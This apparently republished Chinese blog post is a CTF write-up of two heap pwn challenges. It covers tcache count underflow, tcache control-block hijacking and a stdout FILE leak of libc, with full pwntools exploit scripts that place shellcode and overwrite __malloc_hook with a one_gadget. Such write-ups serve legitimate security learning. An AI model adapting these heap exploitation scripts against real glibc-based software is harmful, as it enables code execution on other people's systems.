SWPUCTF_2019_p1KkHeap(负溢出tcache)de1ctf_2019_weapon(IO_FILE泄露libc)

2024-02-20 16:50

本文主要是介绍SWPUCTF_2019_p1KkHeap(负溢出tcache)de1ctf_2019_weapon(IO_FILE泄露libc),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SWPUCTF_2019_p1KkHeap

IDA分析

用IDA反编译发现,此题操作有如下限制
在这里插入图片描述
顺便说一下,buu上的所有ubuntu18的题目都是带tcache-double-free的,其实这不太好,怕养成习惯这样解题。
这里可以看到的是,对delete和add有明显的次数限制,不能简单的tcache-poisoning来泄露libc。本题一开始也是卡在这里,没有别的思路。
之后参考了别人的wp,发现tcache的管理块其实存在一些漏洞。这里记录一下

// tcache结构定义中的部分代码
#if USE_TCACHE  /* Maximum number of buckets to use.  */  size_t tcache_bins;  size_t tcache_max_bytes;  /* Maximum number of chunks in each bucket.  */  size_t tcache_count; (注意这里是size_t,是unsigned类型) /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache.  */  size_t tcache_unsorted_limit;  
#endif  //从tcache中取出chunk的代码
/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];assert (tc_idx < TCACHE_MAX_BINS);assert (tcache->counts[tc_idx] > 0);tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e;
}// 往tcache中放入chunk时的代码
#if USE_TCACHE  {  size_t tc_idx = csize2tidx (size);  if (tcache  && tc_idx < mp_.tcache_bins  && tcache->counts[tc_idx] < mp_.tcache_count) (注意这里将counts和tcache->counts相比,而tcache->counts是有符号的) {  tcache_put (p, tc_idx);  return;  }  }  
#endif  

可以看出tcache检查的逻辑非常简单,如果当前这个bins中块的个数小于mp_.tcache_count(一个“全局”变量,默认为7)就可以放入,然而tcache->counts[tc_idx]是有符号的。如果tcache->counts[tc_idx]变为-1,那么tcache将永远不会放入新的块,因为有符号数和无符号数比较时,有符号数会变为无符号数。
那么怎么让这个块变为-1呢?利用tcache uaf就可以实现
我们分配两个chunk,记为chunk0,chunk1,并free(0),free(1)此时chunk1就存储了fd为chunk0的头部地址,此时修改chunk0的fd位置即可。如果修改成自身的地址就在tcache中构造了一个循环链表,也即每次add得到的都将是同一块地址,但是tcache的tcache->counts[tc_idx]每次都会减一,就可以造成tcache->counts[tc_idx]值为-1的情况。接下来如果分配并释放一个unsortedbin大小的块,就不会进入该tcache中,而是直接free之后进入unsortedbin。
本体一开始是这样做的,但是system函数老是执行不了,原来是没发现开了沙箱。。。真是大意了
在这里插入图片描述同时也注意到,在0x66660000位置开辟了一段0x1000大小的rwx空间写入shellcode
在这里插入图片描述

思路

利用uaf可以完成泄露libc,之后常规改fd写 malloc_hook或者free_hook
但是delete3次只能完成一次的地址写入(可以控制fd)。我们既要shellcode到目的地址,也要把该地址起始位置写入hook函数中,难以完成。这里又有一种新思路:劫持tcache控制块完成写入。
tcache控制块为堆中地址最小的一块,如下图
在这里插入图片描述
这里红框位置就是每一个tcache中的下一块地址。现在我们的fastbin中显示的就是我们下一个将要分配到的RWX的地址。
可能你会想**那这里chunk的大小为-1不会检查正确性嘛?“看一下源代码便知道了

//__libc_malloc函数,也就是熟知的int_malloc的封装函数if (tc_idx < mp_.tcache_bins/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */&& tcache&& tcache->entries[tc_idx] != NULL)//可以看到:只是检验entry位置是否为空{return tcache_get (tc_idx);}

这下就清楚了。我们可以在count为-1的情况下malloc出chunk,因为不检查 。
通过修改这里的tcache控制块,就相当于获得了任意地址读写的权利,但是要注意这里add次数和所有操作总次数也是有限的,但是最后证明是可以冗余的。之后就是基本的写入。

exp

from pwn import *
io=process('./SWPUCTF_2019_p1KkHeap')
# io=remote('node4.buuoj.cn',27574)
elf=ELF('./SWPUCTF_2019_p1KkHeap')
context.log_level='debug'
libc=elf.libc
context.arch="amd64"def add(size):io.recvuntil('Choice: ')io.sendline(str(1))io.recvuntil('size: ')io.sendline(str(size))def edit(index,content):io.recvuntil('Choice: ')io.sendline(str(3))io.recvuntil('id: ')io.sendline(str(index))io.recvuntil('content: ')io.send(content)def delete(index):io.recvuntil('Choice: ')io.sendline(str(4))io.recvuntil('id: ')io.sendline(str(index))def show(index):io.recvuntil('Choice: ')io.sendline(str(2))io.recvuntil('id: ')io.sendline(str(index))def debug():gdb.attach(io,"brva 0xE1E")add(0)
# hijack stdout?# double free new idea: fake chunk_idx to realize infinity writetcache="""
#if USE_TCACHE  /* Maximum number of buckets to use.  */  size_t tcache_bins;  size_t tcache_max_bytes;  /* Maximum number of chunks in each bucket.  */  size_t tcache_count;  /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache.  */  size_t tcache_unsorted_limit;  
#endif  
"""tcache_extract_chunk="""
#if USE_TCACHE  {  size_t tc_idx = csize2tidx (size);  if (tcache  && tc_idx < mp_.tcache_bins  && tcache->counts[tc_idx] < mp_.tcache_count)  {  tcache_put (p, tc_idx);  return;  }  }  
#endif  
"""hint="""
note that tcache_count is unsigned and tcache-<count is signed, if tcache_counts is below zero, 
chunks will never be put back into tcache
"""add(0x90)#idx0
delete(0)
delete(0)# construct circle chain
# debug()
show(0)
io.recvuntil('content: ')
heap_info=u64(io.recv(6).ljust(8,'\x00'))
print "heap_info----->" + hex(heap_info)
add(0x90)#idx1
edit(1,p64(heap_info-0x1d0))
print "control head----->" + hex(heap_info-0x1d0)add(0x90)#idx2 nothing
add(0x90)#idx3, contorl head
add(0x20)#idx4 protect
delete(1)# put into unsorted bins
show(2)
libc_info=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base=libc_info-0x3ebca0
print "libc_base----->" + hex(libc_base)
free_hook=libc_base+libc.sym['__free_hook']
print "free_hook----->" + hex(free_hook)
malloc_hook=libc_base+libc.sym['__malloc_hook']
print "malloc_hook----->" + hex(malloc_hook)edit(3,p64(0x66660000))# change control head
place=0x66660000
# debug()
add(0x90)#idx5, vmmap place
# show(5)
# debug()
payload=asm(shellcraft.open('./flag'))
payload+=asm(shellcraft.read(3,place+0x100,0x50))
payload+=asm(shellcraft.write(1,place+0x100,0x50))# print len(payload)
# debug()edit(5,payload)# write to mmap place# debug()
edit(3,p64(malloc_hook))
add(0x90)#idx6
payload2=p64(place)
edit(6,payload2)
add(0x0)io.interactive()

总结

本题学到了怎么利用UAF欺骗tcache,达到在有限delete情况下获取libc地址,堆地址的方法,并加深了tcache entey劫持方法的理解。实际上21国赛也有一道题类似,不过是直接劫持的tcache中counts[tc_idx]部分。本题因为要写两次,所以不能通过国赛的方法放到unsortedbins中。

de1ctf_2019_weapon

IDA分析

这道题一看是没有show函数,和上题一样的libc,那么应该是劫持IO_FILE泄露。然而这道题也有一个小问题,就是不能构造大小在unsortedbins中的chunk,如下图
在这里插入图片描述那么问题就是:怎么创造unsortedbin大小的chunk以及怎么泄露libc。这里还想了一下,关键其实还是uaf太好用了,我们可以直接伪造chunk,利用overlap来利用victim的上一个块修改victim的size位置,从而完成大小修改。这里要注意需要伪造很多细节,有可能会记不全,但没关系,出现什么报错在源代码里面找一下,伪装上去就可以了。
这一部分如下图,反正调试了挺久的,一开始想好了一块写也可以。

add(0,0x30,'a'*0x30)
add(1,0x30,'a'*0x30)
add(2,0x30,'a'*0x20+p64(0xa0)+p64(0x21))
add(3,0x10,p64(0x20)+p64(0x31))edit(0,p64(0)+p64(0x41))# fake chunk
delete(2)
delete(1)
edit(1,p8(0x10))
add(2,0x30,p64(0xdeadbabe))# fake prev_size
add(3,0x30,p64(0xdeadbeef))#fake chunk
#first put into fastbin
edit(0,p64(0)+p64(0x71))
delete(3)# put into fastbinedit(0,p64(0)+p64(0xa1))# unsortedbin size
delete(3)

接下来就可以从idx为3的chunk中获取libc地址了。这里也是比较巧妙,构造的chunk的在unsortedbin中的fd位置恰好是另外一个chunk在fastbin中的fd位置(为了完成这样的构造,需要先free小块,再free unsortedbin中的块)这样edit unsortedbin中的块的fd,也能反映到fastbin的fd上,也就可以完成写入IO_STDOUT。
由于在fastbin中,需要大小为7f,因此寻找IO_STDOUT附近7f的chunk,确实能在上方找到,而且大小小于0x68,能够分配到

edit(0,p64(0)+p64(0xa1))# unsortedbin size
delete(3)
edit(0,p64(0)+p64(0x71))
edit(3,p8(0xdd)+p8(0x65))# stdout nearby \x7f place,需要爆破
payload='a'*51+p64(0xfbad1800)+p64(0)*3+p8(0x58) #padding+important payload
# debug()
add(1,0x60,'pp')
add(2,0x60,payload)
# add(6,0x30,'aaa')
libc_info = u64(io.recvuntil('\x7f',timeout=0.2)[-6:].ljust(8,'\x00'))
libc_base=libc_info-0x3c56a3# 通过调试看出
if((libc_base&0xfff)!=0):exit(-1)
# add(6,0x30,'aaa')
print "libc_info----->" + hex(libc_info)
print "libc_base----->" + hex(libc_base)
malloc_hook=libc_base+libc.sym['__malloc_hook']

这里记录两个对调试比较有效的命令
注意关键payload这里原理参考
http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html

set{long long}addr=value #使用gdb修改内存
p stdout #打印出stdout的地址

之后就可以爆破了,成功后往malloc_hook写入one_gadget即可。又忘记怎么写爆破了,看了看之前做的题目才想起来。。。

exp

from pwn import *
io=process('./de1ctf_2019_weapon')
elf=ELF('./de1ctf_2019_weapon')
libc=elf.libc
context.log_level='debug'
def add(index,size,con):io.recvuntil('choice >>')io.sendline(str(1))io.recvuntil('weapon: ')io.sendline(str(size))io.recvuntil('index: ')io.sendline(str(index))io.recvuntil('name:')io.send(con)def delete(index):io.recvuntil('choice >>')io.sendline(str(2))io.recvuntil('idx :')io.sendline(str(index))def edit(index,con):io.recvuntil('choice >>')io.sendline(str(3))io.recvuntil('idx:')io.sendline(str(index))io.recvuntil('content:')io.send(con)def debug():gdb.attach(io,"brva 0xd59")edit(0,p64(0))def pwn():add(0,0x30,'a'*0x30)add(1,0x30,'a'*0x30)add(2,0x30,'a'*0x20+p64(0xa0)+p64(0x21))add(3,0x10,p64(0x20)+p64(0x31))edit(0,p64(0)+p64(0x41))# fake chunkdelete(2)delete(1)edit(1,p8(0x10))add(2,0x30,p64(0xdeadbabe))# fake prev_sizeadd(3,0x30,p64(0xdeadbeef))#fake chunk#first put into fastbinedit(0,p64(0)+p64(0x71))delete(3)# put into fastbinedit(0,p64(0)+p64(0xa1))# unsortedbin sizedelete(3)edit(0,p64(0)+p64(0x71))edit(3,p8(0xdd)+p8(0x65))# stdout nearby \x7f placepayload='a'*51+p64(0xfbad1800)+p64(0)*3+p8(0x58) #padding+important payload# debug()add(1,0x60,'pp')add(2,0x60,payload)# add(6,0x30,'aaa')libc_info = u64(io.recvuntil('\x7f',timeout=0.2)[-6:].ljust(8,'\x00'))libc_base=libc_info-0x3c56a3if((libc_base&0xfff)!=0):exit(-1)# add(6,0x30,'aaa')print "libc_info----->" + hex(libc_info)print "libc_base----->" + hex(libc_base)malloc_hook=libc_base+libc.sym['__malloc_hook']one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]add(4,0x60,'aaa')delete(4)#fastbinedit(4,p64(malloc_hook-0x23))add(5,0x60,'nicholas')add(6,0x60,'a'*0x13+p64(one_gadget[3]+libc_base))io.recvuntil('choice >>')io.sendline(str(1))io.recvuntil('weapon: ')io.sendline(str(0x20))io.recvuntil('index: ')io.sendline(str(8))if __name__ == '__main__':while(1):try:io=remote('node4.buuoj.cn',29261)# io=process('./de1ctf_2019_weapon')pwn()io.interactive()breakexcept Exception as e:io.close()continue

本地
在这里插入图片描述
远程
在这里插入图片描述

总结

回顾了一下利用IO_STDOUT泄露libc的方法。这里其实还是比较特殊的,因为unsortedbin和fastbin会有重叠,如果没有,该怎么做呢这还是个问题。除此以外,复习了一下爆破的方法。注意,爆破的方法可以使用double-free来清空栈,提高one_gardet的成功率因此,多焚香沐浴之后再做题。

这篇关于SWPUCTF_2019_p1KkHeap(负溢出tcache)de1ctf_2019_weapon(IO_FILE泄露libc)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/728885

相关文章

VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virtual disk”问题

《VMWare报错“指定的文件不是虚拟磁盘“或“Thefilespecifiedisnotavirtualdisk”问题》文章描述了如何修复VMware虚拟机中出现的“指定的文件不是虚拟... 目录VMWare报错“指定的文件不是虚拟磁盘“或“The file specified is not a virt

提示:Decompiled.class file,bytecode version如何解决

《提示:Decompiled.classfile,bytecodeversion如何解决》在处理Decompiled.classfile和bytecodeversion问题时,通过修改Maven配... 目录问题原因总结问题1、提示:Decompiled .class file,China编程 bytecode

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

Java IO 操作——个人理解

之前一直Java的IO操作一知半解。今天看到一个便文章觉得很有道理( 原文章),记录一下。 首先,理解Java的IO操作到底操作的什么内容,过程又是怎么样子。          数据来源的操作: 来源有文件,网络数据。使用File类和Sockets等。这里操作的是数据本身,1,0结构。    File file = new File("path");   字

springboot体会BIO(阻塞式IO)

使用springboot体会阻塞式IO 大致的思路为: 创建一个socket服务端,监听socket通道,并打印出socket通道中的内容。 创建两个socket客户端,向socket服务端写入消息。 1.创建服务端 public class RedisServer {public static void main(String[] args) throws IOException {

Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO 文件操作字节流与字符流OutputStream字节输出流FileOutputStream InputStream字节输入流FileInputStream Writer字符输出流FileWriter Reader字符输入流字节流与字符流的区别转换流InputStreamReaderOutputStreamWriter 文件复制 字符编码内存操作流(

Open a folder or workspace... (File -> Open Folder)

问题:vscode Open with Live Server 时 显示Open a folder or workspace... (File -> Open Folder)报错 解决:不可以单独打开文件1.html ; 需要在文件夹里打开 像这样

android java.io.IOException: open failed: ENOENT (No such file or directory)-api23+权限受权

问题描述 在安卓上,清单明明已经受权了读写文件权限,但偏偏就是创建不了目录和文件 调用mkdirs()总是返回false. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/><uses-permission android:name="android.permission.READ_E

控制台和MFC中内存泄露工具vld的使用

最近想检测下项目中内存泄露的情况,选中了vld这款。在查找使用方法的时候,大都是控制台下的示例,添加到main函数所在的源文件上。换成MFC就纠结了,不知道添加到哪里去。本文记录控制台和MFC中的使用vld过程。    vld资源:    1)、大家可以移步下边的网址下载:     http://vld.codeplex.com/releases/view/82311    2

JavaEE-文件操作与IO

目录 1,两种路径 二,两种文件 三,文件的操作/File类: 1)文件系统操作 File类 2)文件内容操作(读文件,写文件) (1)打开文件 (2)关闭文件 (3)读文件/InputStream (4)写文件/OutputStream (5)读文件/reader (6)写文件/writer (7)Scanner 四,练习: 1,两种路径 1)绝对路径